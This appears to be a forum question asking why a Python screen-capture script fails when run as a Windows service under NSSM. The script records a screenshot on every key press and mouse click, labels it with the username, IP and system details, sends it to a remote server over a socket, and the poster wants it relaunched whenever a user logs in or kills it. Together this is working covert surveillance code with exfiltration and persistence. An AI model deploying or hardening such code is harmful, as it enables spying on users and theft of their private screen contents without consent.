I have a Python script that captures screenshots when the user presses keys on the mouse and keyboard, and then sends these screenshots to a specified IP address using the socket function. The script also saves the screenshots for later transmission in case of a network problem. I want to convert this script into an executable (exe) file and automatically start it whenever a user logs in. I plan to achieve this using a Windows service. The Windows service should start the exe file whenever a user logs in and periodically check if it is running correctly. If the exe file is terminated by the user or fails, the Windows service should restart it.
This is sample of my script.
from pynput import keyboard, mouse
import threading
import time
import pyautogui
import socket
from datetime import datetime
import getpass
from PIL import Image
import os
import configparser
import uuid
from queue import Queue
import subprocess
session_id = str(uuid.uuid4())
event_queue = Queue()
IP = config.get('Settings', 'server_ip')
PORT = config.getint('Settings', 'port')
def send_screenshot(data, IP, PORT):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((IP, PORT))
sock.settimeout(0.1)
sock.sendall(data)
sock.close()
return True
except ConnectionRefusedError:
print(ConnectionRefusedError)
return False
except TimeoutError:
print(TimeoutError)
return False
def size_encode(s,n):
while len(str(s)) < n:
s = '0' + str(s)
return s
Id = str(subprocess.check_output(['systeminfo'])).split('\\n')
device = Id[1].replace('\\r','').split(':')[1].strip()
system = Id[2].replace('\\r','').split(':')[1].strip()
ip_address = Id[43].replace('\\r','').split(':')[1].strip()
username = getpass.getuser()
screenWidth, screenHeight = pyautogui.size()
def get_name(button):
time = datetime.now().strftime('%Y-%m-%d-%H-%M-%S-%f')
return f'{username}_{time}_{size_encode(screenWidth,4)}_{size_encode(screenHeight,4)}_{size_encode(button,15)}_{size_encode(ip_address,20)}_{size_encode(device,20)}_{size_encode(system,50)}_{session_id}'
save_dir = os.path.expanduser("~")
save_dir = os.path.join(save_dir, "recorder_SS")
button = 'deneme'
screenshot = pyautogui.screenshot()
screenshot_bytes = screenshot.tobytes()
data = get_name(button).encode() + screenshot_bytes
check = send_screenshot(data, IP, PORT)
def on_keyboard_press(key):
global check
button = str(key).replace("'", "").replace('_','-')
name = get_name(button)
screenshot = pyautogui.screenshot()
if check:
event_queue.put((name, screenshot))
else:
save_path = os.path.join(save_dir, f"{name}.jpg")
screenshot.save(save_path)
def on_mouse_click(x, y, button, pressed):
global check
if pressed:
button = str(button).replace('_','-')
name = get_name(button)
screenshot = pyautogui.screenshot()
if check:
event_queue.put((name, screenshot))
else:
save_path = os.path.join(save_dir, f"{name}.jpg")
screenshot.save(save_path)
def send_event():
while True:
if not event_queue.empty():
name, screenshot = event_queue.get()
screenshot_bytes = screenshot.tobytes()
data = name.encode() + screenshot_bytes
success = send_screenshot(data, IP, PORT)
if not success:
global check
check = False
save_path = os.path.join(save_dir, f"{name}.jpg")
screenshot.save(save_path)
time.sleep(0.01)
def start_listening():
with keyboard.Listener(on_press=on_keyboard_press) as keyboard_listener, \
mouse.Listener(on_click=on_mouse_click) as mouse_listener:
keyboard_listener.join()
mouse_listener.join()
event_thread = threading.Thread(target=send_event)
event_thread.start()
listening_thread = threading.Thread(target=start_listening)
listening_thread.start()
I encountered an issue with this approach when using NSSM (Non-Sucking Service Manager) to create the Windows service. When I manually run the exe file, it functions correctly, performing all its tasks such as capturing, sending, and saving the screenshots. However, when I use the Windows service created by NSSM to start the exe file, it doesn't work properly. The background application appears to be running, but it fails to perform the tasks of capturing, sending, or saving the screenshots. I need assistance with a problem related to running a Python script as a Windows service?